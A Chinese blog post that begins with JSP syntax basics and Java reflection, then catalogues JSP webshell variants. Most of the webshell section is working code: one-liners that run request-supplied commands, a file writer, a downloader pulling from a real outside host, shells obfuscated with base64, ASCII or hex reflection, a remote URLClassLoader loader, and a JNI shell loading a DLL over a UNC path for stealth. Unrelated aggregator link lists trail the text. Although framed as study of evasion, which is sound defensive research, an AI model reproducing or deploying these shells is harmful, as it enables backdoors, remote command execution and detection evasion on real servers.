1. JSP基础语法

0x1: 脚本程序

脚本程序可以包含任意量的Java语句、变量、方法或表达式,只要它们在脚本语言中是有效的

脚本程序的语法格式:
<% 代码片段 %> 或者可以编写与其等价的XML语句
<jsp:scriptlet>
代码片段
</jsp:scriptlet>

任何文本、HTML标签、JSP元素必须写在脚本程序的外面

<html>
<head><title>Hello World</title></head>
<body>
Hello World!<br/>
<%
out.println("Your IP address is " + request.getRemoteAddr());
%>
</body>
</html>

0x2: JSP声明

一个声明语句可以声明一个或多个变量、方法,供后面的Java代码使用。在JSP文件中,您必须先声明这些变量和方法然后才能使用它们
JSP声明的语法格式

<%! declaration; [ declaration; ]+ ... %>

或者也可以编写与其等价的XML语句
<jsp:declaration>
代码片段
</jsp:declaration>

程序示例

<%! int i = ; %>
<%! int a, b, c; %>
<%! Circle a = new Circle(2.0); %>

0x3: JSP表达式

. 一个JSP表达式中包含的脚本语言表达式,先被转化成String,然后插入到表达式出现的地方
. 由于表达式的值会被转化成String,所以您可以在一个文本行中使用表达式而不用去管它是否是HTML标签
. 表达式元素中可以包含任何符合Java语言规范的表达式,但是不能使用分号来结束表达式

JSP表达式的语法格式

<%= 表达式 %>

同样也可以编写与之等价的XML语句
<jsp:expression>
表达式
</jsp:expression>

程序示例

<html>
<head><title>A Comment Test</title></head>
<body>
<p>
Today's date: <%= (new java.util.Date()).toLocaleString()%>
</p>
</body>
</html>

0x4: JSP注释

JSP注释主要有两个作用: 为代码作注释、以及将某段代码注释掉

1. HTML注释

<!-- comment [ <%= expression %> ] -->

示例

<!-- This file displays the user login screen -->
在客户端的HTML源代码中产生和上面一样的数据:
<!-- This file displays the user login screen --> <!-- This page was loaded on <%= (new java.util.Date()).toLocaleString() %> -->

2. 隐藏注释

写在JSP程序中,但不是发给客户

<%-- 这里可以填写 JSP 注释 --%>

JSP编译器是不会对<%-- ... --%>之间的语句进行编译的,它不会显示在客户的浏览器中,也不会在源代码中看到在<%-- --%>之间的代码,你可以任意写注释语句,但是不能使用"--%>",如果你非要使用请用"--%\>"

<html>
<head><title>A Comment Test</title></head>
<body>
<h2>A Test of Comments</h2>
<%-- 该部分注释在网页中不会被显示--%>
</body>
</html>

0x5: JSP指令

JSP指令用来设置与整个JSP页面相关的属性
JSP指令语法格式

<%@ directive attribute="value" %>
这里有三种指令标签
. <%@ page ... %>: 定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等
. <%@ include ... %>: 包含其他文件
<%@ taglib ... %>: 引入标签库的定义,可以是自定义标签

0x6: JSP行为

JSP行为标签使用XML语法结构来控制servlet引擎。它能够动态插入一个文件,重用JavaBean组件,引导用户去另一个页面,为Java插件产生相关的HTML等等
行为标签只有一种语法格式,它严格遵守XML标准

<jsp:action_name attribute="value" />

0x7: JSP隐含对象

JSP支持九个自动定义的变量,称为隐含对象

. request: HttpServletRequest类的实例
. response: HttpServletResponse类的实例
. out: PrintWriter类的实例,用于把结果输出至网页上
. session: HttpSession类的实例
. application: ServletContext类的实例,与应用上下文有关
. config: ServletConfig类的实例
. pageContext: PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问
. page: 类似于Java类中的this关键字
. Exception: Exception类的对象,代表发生错误的JSP页面中对应的异常对象

0x8: JSP常量

JSP语言定义了以下几个常量

. Boolean: true and false
. Integer: 与Java中的一样
. Floating point: 与Java中的一样
. String: 以单引号或双引号开始和结束。" 被转义成 \",'被转义成 \', \ 被转义成\\
. Null: null

Relevant Link:

http://www.runoob.com/jsp/jsp-syntax.html
http://vod.sjtu.edu.cn/help/Article_Show.asp?ArticleID=1448

2. Java动态特性

Java语言动态性一直以来都比较差,并不像PHP那样灵活。在Java中的动态性往往需要使用一些曲折的方式来实现.这里简单列举了Java十余种动态性相关技术并总结部分技术实现安全问题。

  • Java反射机制
  • MethodHandle
  • JDK动态代理
  • 使用JVM上的动态语言,如
    • Groovy
    • JRuby
    • Jython
  • 表达式库,如
    • OGNL
    • MVEL
    • SpEL
    • EL
  • JSP、JSPX、Quercus(Resin容器提供了PHP5支持)
  • 字节码库,如
    • Asm
    • Javassist
    • Cglib
    • BCEL
  • ScriptEngineManager(脚本引擎)
  • 动态编译,如
    • JDT
    • JavaCompiler
  • ClassLoader、URLClassLoader
  • 模版引擎,如
    • Freemarker
    • Velocity
  • 序列化、反序列化(包含Java 对象序列化、XML、JSON等)
  • JNI、JNA(Java调用C/C++)
  • OSGi(Open Service Gateway Initiative)
  • RMI(Java远程方法调用,基于对象序列化机制实现)
  • WebService
  • JDWP(Java Platform Debugger Architecture Java调试协议)
  • JMX(Java Management Extensions)

0x1:Java反射机制特性

Java反射机制可以无视类方法、变量访问权限修饰符,可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为实现任何目的。当然前提可能需要你能控制反射的类名、方法名和参数。

一行代码即可实现反射调用Runtime执行本地命令:

Runtime.class.getMethod("exec", String.class).invoke(Runtime.class.getMethod("getRuntime").invoke(null), "whoami")

Relevant Link:

https://www.freebuf.com/articles/web/194836.html

3. WEBSHELL变形方式

0x0:普通一句话

1、session传参

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,,b.length);}}%>
<%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring();session.putValue("u",k);
out.print(k);return;}
Cipher c=Cipher.getInstance("AES");
SecretKeySpec sec=new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES");
c.init(,sec);
String uploadString= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(uploadString))).newInstance().equals(pageContext);%>

Relevant Link:

https://www.ddosi.com/b237/
https://github.com/tdifg/WebShell/blob/master/Jsp/pwnshell%20-%20an%20interactive%20jsp%20shell.jsp
https://github.com/ysrc/webshell-sample/blob/master/jsp/b11440638084ab162d5759d23f881ea0fc13a28b.jsp

2、response相关

String cs = request.getParameter("z0") + "";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset=" + cs);
String Z = EC(request.getParameter(Pwd) + "", cs);
String z1 = EC(request.getParameter("z1") + "", cs);
String z2 = EC(request.getParameter("z2") + "", cs);
StringBuffer sb = new StringBuffer("");
try
{
sb.append("->" + "|");
if (Z.equals("A"))
{
String s = new File(application.getRealPath(request.getRequestURI())).getParent();
sb.append(s + "\t");
if (!s.substring(, ).equals("/"))
{
AA(sb);
}
}
}

3、HttpURLConnection

<%@page import="java.io.*"%><%@page import="java.net.*"%><%String t=request.getRealPath("/")+request.getParameter("f");new File(t).getParentFile().mkdirs();if(request.getParameter("p")==null){DataInputStream i=new DataInputStream(((HttpURLConnection)(new URL("http://qztmi.cn/js/h.txt").openConnection())).getInputStream());DataOutputStream o=new DataOutputStream(new FileOutputStream(t));byte[] b=new byte[];int c=;while((c=i.read(b))>){o.write(b,,c);}o.close();i.close();out.println("down-ok");response.setHeader("down-ok","");}else{(new FileOutputStream(t)).write(request.getParameter("p").getBytes());out.println("upload-ok");}%> 

4、借助http header传参

<%Runtime.getRuntime().exec(request.getHeader("c"));%>.

0x1:利用JSP中的字符串混淆方式

1. ASCII

String a=new String(new byte[] { , , , , , ,  });
System.out.println("ASCII: "+a);

2. HEX

import javax.xml.bind.DatatypeConverter;
String b= new String(DatatypeConverter.parseHexBinary("797a64644d7236"));
System.out.println("HEX: "+b);

3. BASE64

import sun.misc.BASE64Decoder;
String c = new String(new BASE64Decoder().decodeBuffer("eXpkZE1yNg=="));
System.out.println("BASE64: "+c);

0x2: 写文件木马

1. 把字符串编码后写入指定文件

<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录: <%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%>
请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求:http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录: <%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %>
请求:http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234

2. 下载远程文件

<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -; while ((a = in.read(b)) != -) { baos.write(b, , a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %>
请求:http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png 下载到web路径:
<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -; while ((a = in.read(b)) != -) { baos.write(b, , a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %>
请求:http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png

Relevant Link:

http://www.2cto.com/Article/201503/378649.html
http://www.blogjava.net/lusm/archive/2007/02/21/100295.html
http://dingody.iteye.com/blog/2003882
http://blog.kukafei520.net/html/2010/444.html
http://www.125135.com/491711.html
http://www.125135.com/317079.htm
http://www.125135.com/317770.htm
http://p2j.cn/?p=1627

0x3:普通进程启动一句话

1. 无回显

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

2. 有回显带密码验证

JAVA执行系统命令的核心就是Runtime.getRuntime().exec(cmd)

<% if("".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -; byte[] b = new byte[]; out.print("<pre>");
while((a=in.read(b))!=-){
out.println(new String(b,,a));
}
out.print("</pre>");
}
%>

0x4:通过类反射机制实现进程启动一句话

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="sun.misc.BASE64Decoder" %>
<%
if(request.getParameter("cmd")!=null){
BASE64Decoder decoder = new BASE64Decoder();
Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));
Process e = (Process)
rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new
String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new
Object[]{}), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -;
byte[] b = new byte[];
out.print("<pre>");
while((a=in.read(b))!=-){
out.println(new String(b));
}
out.print("</pre>");
}
%>

0x5:反射机制+编码实现进程启动一句话

1. 利用ASCII编码

<%@ page contentType="text/html;charset=UTF-8"  language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(new byte[] { , , , , , , , , , , , , , , , , }));
Process e = (Process) rt.getMethod(new String(new byte[] { , , , }), String.class).invoke(rt.getMethod(new String(new byte[] { , , , , , , , , , })).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -;byte[] b = new byte[];out.print("<pre>");
while((a=in.read(b))!=-){ out.println(new String(b)); }out.print("</pre>");
}
%>

2. 利用HEX编码

<%@ page contentType="text/html;charset=UTF-8" import="javax.xml.bind.DatatypeConverter" language="java" %>
<%
if(request.getParameter("cmd")!=null){
Class rt = Class.forName(new String(DatatypeConverter.parseHexBinary("6a6176612e6c616e672e52756e74696d65")));
Process e = (Process) rt.getMethod(new String(DatatypeConverter.parseHexBinary("")), String.class).invoke(rt.getMethod(new String(DatatypeConverter.parseHexBinary("67657452756e74696d65"))).invoke(null), request.getParameter("cmd") );
java.io.InputStream in = e.getInputStream();
int a = -;byte[] b = new byte[];out.print("<pre>");
while((a=in.read(b))!=-){ out.println(new String(b)); }out.print("</pre>");
}
%>

java中与执行命令相关的主要有两个类:

java.lang.Runtime
java.lang.ProcessBuilder

我们上文中反射了Runtime类,那么同样我们也可以反射ProcessBuilder类,原理类似。

0x6:通过反射加载shellcode代码

类反射可以把我们想要调用的函数或者类的名字,通过一个字符串来进行传递。此时也就相当于我们实现了php中的变量函数,就可以利用base64编码或者hex编码等来混淆关键函数。Java的类反射机制是jsp shell具备动态对抗特性的一个重要原因。

使用反射调用对象方法的步骤如下:

Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例
Constructor appleConstructor = clz.getConstructor(); // 根据 Class 对象实例获取 Constructor 对象
Object appleObj = appleConstructor.newInstance();// 使用 Constructor 对象的 newInstance 方法获取反射类对象
Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象
setPriceMethod.invoke(appleObj, ); // 利用 invoke 方法调用方法

如果没有构造函数的情况下会更简单一些:

Class clz = Class.forName("test.Apple"); // 获取类的 Class 对象实例
Object appleObj=clz.newInstance();// 直接获得clz类的一个实例化对象
Method setPriceMethod = clz.getMethod("setPrice", int.class); // 获取方法的 Method 对象
setPriceMethod.invoke(appleObj, ); // 利用 invoke 方法调用方法

可以压缩一下写成一行的形式

Class.forName("test.Apple").getMethod("setPrice", int.class).invoke(Class.forName("test.Apple").newInstance(),);

上面的类反射加载只能加载本地的.class文件,这本质上只相当于php中的“include localfile.php”的作用。

要想实现类似php中的任意eval shellcode的目的,就需要我们能向反射类加载器传递任意的classcode,这也就是冰蝎可以做到动态解析二进制class字节码的原理。

我们通过一个小例子来说明:

首先写一个命令执行的类,调一个calc,但是我们不写主函数,也就是说我们先不让他运行。

package test;
import java.io.IOException;
public class calc {
@Override
public String toString() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
return "OK";
}
}

在项目里生成之后,在out目录下可以看到编译好的二进制class文件。

然后把它base64,保存下来,

接着生成一个loader类,用于加载我们的class文件,

package test;
import sun.misc.BASE64Decoder;
public class loader {
public static class Myloader extends ClassLoader //继承ClassLoader
{
public Class get(byte[] b)
{
return super.defineClass(b, , b.length);
}
}
public static void main(String[] args) throws Exception {
String classStr="xxxxxxxxxxxxxxxxx"; // class的base64编码
BASE64Decoder code=new sun.misc.BASE64Decoder();
Class result=new Myloader().get(code.decodeBuffer(classStr));//将base64解码成byte数组,并传入t类的get函数
System.out.println(result.newInstance().toString());
}
}

运行后成功调用计算器。

将代码中硬编码的class string改为从外部参数传入,就成为了jsp eval一句话木马了。

<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[].invoke(null, new Object[]{request.getParameterMap()})%> 

通过远程加载的方式,把远程的jar文件进行加载 (有害代码里都放jar里),本质上和php里的include原理类似。

远程部署的jar里放会被查杀的shell代码,比如菜刀的一句话客户端(.java)文件,然后把该java 文件编译成jar包即可。

Relevant Link:

https://mp.weixin.qq.com/s?__biz=MzI1MDIzMDAwMA==&mid=2247483974&idx=1&sn=5e692b451dc0681689ffc896dc368c4a&scene=21#wechat_redirect

0x7:利用jni远程调用载入dll,实现payload和loader分离

在java中,Java无法直接访问到操作系统底层如硬件系统,为此Java提供了JNI(Java Native Interface )来实现对于底层的访问。

JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。

java中可以使用native关键字来说明这个方法是原生函数,也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。

可以将native方法比作Java程序同C程序的接口,其实现步骤:

1. 在Java中声明native()方法,然后编译;
2. 用javah命令产生一个.h文件;
3. 写一个.cpp文件实现native导出方法,其中需要包含第二步产生的.h文件(注意其中又包含了JDK带的jni.h文件);
4. 将第三步的.cpp文件编译成动态链接库文件;
5. 在Java中用System.loadLibrary()或者System.load()方法加载第四步产生的动态链接库文件,这个native()方法就可以在Java中被访问了。

最后jsp webshell如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class JniClass {
public native String exec(String string);
public JniClass() {
//System.load("/Users/nano/IdeaProjects/untitled1/target/classes/libJniClass.jnilib");
//System.load("C:\\Program Files\\Apache Software Foundation\\Tomcat 8.5\\webapps\\shellbypass\\1.dll");
System.load("\\\\vmware-host\\Shared Folders\\test\\1.dll");
}
}
;
%>
<%
String cmd = request.getParameter("cmd");
JniClass jniClass = new JniClass();
String res = jniClass.exec(cmd);
%>
<%=res%>

jsp load时有两种思路,一种是将该jsp文件和该dll放置于服务器的本地路径。jsp的代码里指定dll的绝对路径\相对路径;另外一种是使用unc路径,这样恶意dll通过远程部署,加强隐蔽程度,加大溯源难度、提高部署灵活度。

Relevant Link:

https://mp.weixin.qq.com/s/RCXrCHJl4w4CTeLk_HPzQA

Deformity JSP Webshell、Webshell Hidden Learning的更多相关文章

  1. Deformity PHP Webshell、Webshell Hidden Learning

    目录 . 引言 . webshell原理介绍 . webshell的常见类型以及变种方法 . webshell的检测原理以及检测工具 . webshell隐藏反检测对抗手段 0. 引言 本文旨在研究W ...

  2. Deformity ASP/ASPX Webshell、Webshell Hidden Learning

    catalog . Active Server Page(ASP) . ASP.NET . ASP WEBSHELL变形方式 . ASPX WEBSHELL变形方式 . webshell中常见的编码转 ...

  3. 各种隐藏 WebShell、创建、删除畸形目录、特殊文件名、黑帽SEO作弊(转自核大大)

    其实这个问题,经常有朋友问我,我也都帮大家解决了…… 但是现在这些现象越来越严重,而且手法毒辣.隐蔽.变态,清除了又来了,删掉了又恢复了,最后直接找不到文件了,但是访问网站还在,急的各大管理员.站长抓 ...

  4. 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置

    无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...

  5. WAF——针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入、XSS跨站、Webshell上传、命令注入、非法HTTP协议请求、非授权文件访问等

    核心概念 WAF Web应用防火墙(Web Application Firewall),简称WAF. Web攻击 针对Web应用发起的攻击,包括但不限于以下攻击类型:SQL注入.XSS跨站.Websh ...

  6. Nginx Installation、Configuration、Rreverse Proxy、Load Balancing Learning

    目录 . Nginx简介 . Nginx安装部署 . Nginx安全配置 . Nginx反向代理实践 . Nginx负载均衡实践 1. Nginx简介 0x1: Nginx的基本特性 Nginx(&q ...

  7. JSP第一篇【JSP介绍、工作原理、生命周期、语法、指令、行为】

    什么是JSP JSP全名为Java Server Pages,java服务器页面.JSP是一种基于文本的程序,其特点就是HTML和Java代码共同存在! 为什么需要JSP JSP是为了简化Servle ...

  8. JAVA知识积累 JSP第一篇【JSP介绍、工作原理、生命周期、语法、指令、行为】

    什么是JSP JSP全名为Java Server Pages,java服务器页面.JSP是一种基于文本的程序,其特点就是HTML和Java代码共同存在! 为什么需要JSP JSP是为了简化Servle ...

  9. JSP(1) - JSP简介、原理、语法 - 小易Java笔记

    1.JSP简介 (1)JSP的全称是Java Server Pages(运行在服务器端的页面),实际就是Servlet(学习JSP的关键就是时刻联想到Servlet) (2)JSP.Servlet各自 ...

随机推荐

  1. noi题库(noi.openjudge.cn) 1.8编程基础之多维数组T01——T10

    T01 矩阵交换行 描述 给定一个5*5的矩阵(数学上,一个r×c的矩阵是一个由r行c列元素排列成的矩形阵列),将第n行和第m行交换,输出交换后的结果. 输入 输入共6行,前5行为矩阵的每一行元素,元 ...

  2. node基础07:写文件

    1.writeFile //server.js var http = require("http"); var writefile = require("./writef ...

  3. 使用mysqldump进行mysql数据库备份还原

    mysqldump是mysql自带的备份还原工具,默认在安装目录的bin下 可通过cmd命令行启动,然后运行: 还原一个数据库: mysql -h 主机 -u 用户名 -p密码 数据库名 < 指 ...

  4. Use Dapper ORM With ASP.NET Core

    Dapper.NET is not just another ORM tool, it's considered as the king of ORM. Because it's fast, easy ...

  5. Pattern Recognition And Machine Learning读书会前言

    读书会成立属于偶然,一次群里无聊到极点,有人说Pattern Recognition And Machine Learning这本书不错,加之有好友之前推荐过,便发了封群邮件组织这个读书会,采用轮流讲 ...

  6. ul、li实现横向导航按钮

    好久没写博客了,主要是懒得呼气都不想呼,上周分给我一个新的任务,就是自己新建一个系统,快速极限开发,虽然之前自己也做过小的系统,但毕竟是自己做,随着自己的心意做,没有做其他的限制等,现在呢是给公司做, ...

  7. Javascript DOM操作实例

          最近在学DOM,但是还是没有办法很好的记住API,想找些例子来练习,网上的例子将一个个DOM对象方法挨个举例,并没有集合在一起用,效果不尽人意.所以自己写一份实例,顺便巩固下学到的知识. ...

  8. react的基本学习

    1.<SubSubComp {...this.props } /> 传递属性,{...props}的方式为组件传递了这两个属性,这就是JSX中的延展属性,"..."成为 ...

  9. FileShare枚举的使用(文件读写锁)

    开发过程中,我们往往需要大量与文件交互,但往往会出现很多令人措手不及的意外,所以对普通的C#文件操作做了一次总结,问题大部分如下: 1:写入一些内容到某个文件中,在另一个进程/线程/后续操作中要读取文 ...

  10. 如何配置全世界最小的 MySQL 服务器

    配置全世界最小的 MySQL 服务器——如何在一块 Intel Edison 为控制板上安装一个 MySQL 服务器. 介绍 在我最近的一篇博文中,物联网,消息以及 MySQL,我展示了如果 Part ...